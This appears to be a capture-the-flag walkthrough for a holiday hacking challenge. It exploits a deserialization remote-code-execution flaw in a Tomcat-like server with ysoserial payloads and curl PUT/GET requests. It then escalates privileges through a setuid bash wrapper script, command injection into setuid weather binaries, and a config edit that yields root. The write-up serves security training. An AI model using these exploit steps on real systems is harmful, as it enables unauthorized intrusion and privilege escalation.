Snowcat RCE & Priv Esc

For this challenge, head to the NetWars Room in the Grand Hotel. Speaking with Tom, he explains that he has lost access to the weather monitoring station. He knows there are some vulnerabilities there he hasn't gotten around to fixing yet, so we may be able to use that to our advantage. Check out this Rapid7 article on that CVE that Tom mentions.

Tom has already done some legwork here and made some notes. The notes describe the exploitation process where a user creates a Java serialized payload via yoserial, sends the payload via a curl PUT request to the server. Then the payload is executed by making a GET request using the session id used in the previous command.

# Remote Code Execution exploiting RCE-2025-24813

Snowcat is a webserver adapted to life in the arctic.
Can you help me check to see if Snowcat is vulnerable to RCE-2025-24813 like its cousin Tomcat?

## Display ysoserial help, lists payloads, and their dependencies:
```
  java -jar ysoserial.jar
```

## Identify what libraries are used by the Neighborhood Weather Monitoring system

## Use ysoserial to generate a payload

Store payload in file named payload.bin

## Attempt to exploit RCE-2025-24813 to execute the payload

```
export HOST=TODO_INSERT_HOST
export PORT=TODO_INSERT_PORT
export SESSION_ID=TODO_INSERT_SESSION_ID

curl -X PUT \
  -H "Host: ${HOST}:${PORT}" \
  -H "Content-Length: $(wc -c < payload.bin)" \
  -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
  --data-binary @payload.bin \
  "http://${HOST}:${PORT}/${SESSION_ID}/session"

curl -X GET \
  -H "Host: ${HOST}:${PORT}" \
  -H "Cookie: JSESSIONID=.${SESSION_ID}" \
  "http://${HOST}:${PORT}/"
```


# Privilege Escalation

The Snowcat server still uses some C binaries from an older system iteration.
Replacing these has been logged as technical debt.
<TOOD_INSERT_ELF_NAME> said he thought these components might create a privilege escalation vulnerability.
Can you prove these components are vulnerable by retrieving the key that is not used by the Snowcat hosted Neighborhood Weather Monitoring Station?

The first thing to do is to perform a PoC to tell if we are on the right track. Looking at Tom's notes the exploitation steps are:

• Generate a payload with yoserial
• Make a request to snowcat and get a JSESSIONID
• Make the PUT request that uploads the payload to the session file
• Verify the command succeeded

I generated a payload in yoserial that simply creates a file in /tmp. I know the command succeeded if the file /tmp/vulnerable gets created.

java -jar ysoserial.jar CommonsCollections7 "touch /tmp/vulnerable" > payload.bin

Then I made a curl request to localhost with verbose output to see the JSESSIONID in the Cookie header. Then I copied that JSESSIONID into the next command that uploads the payload just as in Tom's notes. This request results in an HTTP status code 409. This is expected behavior. I checked the /tmp/directory and my file was created!

Now that I can execute commands, using the PoC process above, I can craft a better payload to become the snowcat user. To do this I created a shell script (shell.sh) that creates and compiles an executable with the setuid bit set. This means that when it is executed, the executable runs as the owner, not the user that ran it.

#!/bin/bash
read -r -d '' prog <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
    setregid(getegid(), getgid());
    setreuid(geteuid(), getuid());
    system("/bin/bash");
    return 0;
}
EOF
echo "$prog" > /tmp/run.c
gcc /tmp/run.c -o /tmp/run
chmod 6755 /tmp/run

This short script is very simple. It creates a c source file that sets setuid and setgid, then executes a bash shell. It then compiles it and makes the file executable. This should result in a file we can simple execute to spawn a bash shell as snowcat. I created this shell script (shell.sh) on the system so my payload can pick it up and compile. Don't forget to make the script executable.

chmod +x /tmp/shell.sh

Lets create the payload.

java -jar ysoserial.jar CommonsCollections7 "/tmp/shell.sh" > payload.bin

This payload just runs shell.sh. The output should result in a compiled executable called /tmp/run. Lets run it and become snowcat! Now lets get the other applications authorization key that Tom asked for.

There is plenty to do with our newfound permissions, but it really isn't necessary to complete the challenge. There is a copy of the JSP files in the user's home directory. We can inspect these to see how the application interacts with the weather executables. Lets checkout dashboard.jsp in ~/weather-jsps.

This is how the weather monitoring application interacts with the weather executables. It has an authorization key "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6". It runs the weather executables in /usr/local/weather/. There is one for temperature, humidity, and pressure. Notice they also have the setuid bit set. That means if we can trick these programs into running arbitrary commands, they will execute as the owner, weather user. Lets checkout these executables.

I used strings to look inside temperature. Strings is a tool that just prints out printable strings inside of a compiled binary. This can reveal information about whats happening inside the program at runtime.

It looks like its writing some data to a log file using a template string, note the

%s '%s' '%s'

If one of those strings is input we control, we may be able to inject a command using a semicolon. Lets run the command with the weather monitoring station's authorization key and then try to inject a command. Now to abuse this command in order to become the weather user, is to inject a command to spawn a bash shell in the temperature executable.

Using the weather user, we can find the other authorization keys in the /usr/local/weather/keys directory:

The other authorization key is "8ade723d-9968-45c9-9c33-7606c49c2201". This isn't the end of this challenge though! If you look in the /usr/local/weather directory there is a config file that we now have the privilege to edit. I used nano to change the user and group to "root". Then using the same command inject as before, we can become root! In the /root home directory, there is a file named "goal". Is this Frosty's goal? Enter "8ade723d-9968-45c9-9c33-7606c49c2201" into your badge to complete the challenge.